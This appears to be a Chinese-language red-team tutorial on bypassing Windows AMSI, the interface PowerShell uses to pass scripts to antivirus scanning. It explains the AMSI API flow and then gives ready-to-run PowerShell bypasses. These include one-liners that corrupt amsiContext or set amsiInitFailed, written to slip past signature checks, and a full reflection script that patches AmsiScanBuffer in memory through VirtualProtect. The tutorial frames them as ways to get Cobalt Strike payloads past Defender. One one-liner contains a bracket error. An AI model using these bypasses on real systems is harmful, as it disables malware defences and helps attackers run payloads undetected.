Skip to main content

AMSI

在渗透的过程中,我们会在企业环境与设施中遇到各种各样的安全控制,作为防御技术,它们会在很大程度上阻碍我们的行为,例如阻止我们执行自己的载荷、检测我们的武器库、拦截我们对系统的特定行为等。

在这些安全控制之中,我们首先想到的便是杀毒软件以及终端检测响应系统,即AV/EDR。因为它们的存在,我们即便从外部找到了突破至企业内部的方法,还需要让我们的载荷不被发现,否则我们在进入企业网络内部这一步就会失败。因此,我们花一些篇幅讲解AV/EDR的原理以及免疫手段。但在那之前,我们先讨论AMSI,即恶意软件扫描借口,因为相对于针对二进制文件的检测,绕过AMSI更加简易一些。

我们知道,在Windows主机上除了执行exe、载入dll等行为获得Beacon外,我们还可以通过一些脚本语言达到相同目的,其中例如使用powershell iex的命令将脚本下载到内存中然后执行,可以避免文件落地。而传统的杀毒软件对此难以检测。而AMSI提供了这么一个接口,可以实时捕获多种脚本语言例如Powershell、JScript、VBScript、VBA以及.NET命令等并传给本地安全的杀毒软件检测。而在Cobalt Strike中的体现,则是我们在使用powershell,powerpick,execute-assembly等命令的时候,发现所执行对象被判定为恶意。好在的是,目前支持AMSI的杀毒软件厂商不是很多。由于Windows Dedender是支持AMSI的,如果用户使用第三方不支持AMSI的厂商,例如火绒,AMSI直接便不可用了。

 

下图是AMSI被调用的流程图,amsi.dll被载入到每个powershell进程中并且提供了一系列API,例如AmsiScanBuffer()、AmsiScanString(),AmsiOpenSession()等。脚本的内容会被传入AmsiScanBuffer以在脚本被执行之前决定是否是恶意的。

image.png


当脚本被启动时,AmsiInitalize() API被调用,该API有2个参数,分别是应用名称以及该函数填充的上下文结构体 amsiContext。当AmsiInitialize() 调用结束后,上下文结构体被填充,并且传入了AmsiOpenSession() API。而AmsiOpenSession会在完成后填充会话结构体 amsiSession。AmsiScanString() 以及AmsiScanBuffer() 都可以被用于捕获脚本内容或者输出,值得一提的是AmsiScanString已经被AmsiScanBuffer取代了,因此我们关注后者即可。AmsiScanBuffer()接收多个参数,包含AmsiInitialize()填充的上下文结构体、缓冲内容、长度、内容标识符、AmsiOpenSession() 填充的会话结构体、以及结果。最终,Windows Dedender将结果值返回给AmsiScanBuffer(),对于结果值,1为非恶意,32768则被判定为为恶意。之后还会有Amsi会话的结束,但这不重要,因为对于我们绕过AMSI的流程没有帮助,接下来我们分别攻击AmsiOpenSession(),AmsiScanBuffer() 以及AmsiInitialize() 这两个API

 

攻击AmsiOpenSession()

AmsiOpenSession() 函数会检查参数,即上述提到的上下文结构体的前4位是否是“AMSI”的ASCII值。如果不是的话,跳转到 eax, 80070057h 指令。而80070057H代表的是“E_INVALIDRG”,意味着这不是一个有效的上下文,从而返回错误并且不实际扫描。

既然上下文结构体的前4位只要不是“AMSI”,该上下文就不是有效的,并且返回错误,那么我们将上下文结构体的前4为进行恶意修改,强制AmsiOpenSession() 抛出错误。我们可以通过powershell 反射技术实现,最终的一句话绕过命令为:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

而这之间的过程是这样的

1:通过GetType() 获得所有类的引用

2:在列表中,根据AmsiUtils的特征,例如IsPublic=False, IsSerial=False,Name包含 "iUtils"等,定位到AmsiUtils

3:同样的思路定位到amsiContext

4:将值修改为非法值

 

攻击AmsiInitialize()

类似于攻击AmsiOpenSession() 的思路,我们也可以操纵AmsiInitialize() 的结果值,原始命令为[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true),但是 “”Amsi” 字样会被识别为恶意,因此我们可以通过字符串拼接等方法来实现,最终的一句话绕过为 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils"} {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)

 

攻击AmsiScanBuffer()

我们还可以强制AmsiScanBuffer返回E_INVALIDARG,即 80070057h 实现强制AMSI退出。对应指令为

mov eax, 0x80070057

ret

因此我们需要通过 GetProcAddress 先获得AmsiScanBuffer的引用,使用 VirtualProtect更改内存块的权限,填充指令。使用Powershell反射技术的话,最终代码如下

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiScanBuffer
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 6, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8, 0x57, 0x00, 0x07, 0x80, 0xc3) 
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 6)

 

其他方法

除了让AMSI抛出错误退出,我们当然也可以对脚本进行混淆和免杀化处理,但这样是一场道高一尺魔高一丈的对抗。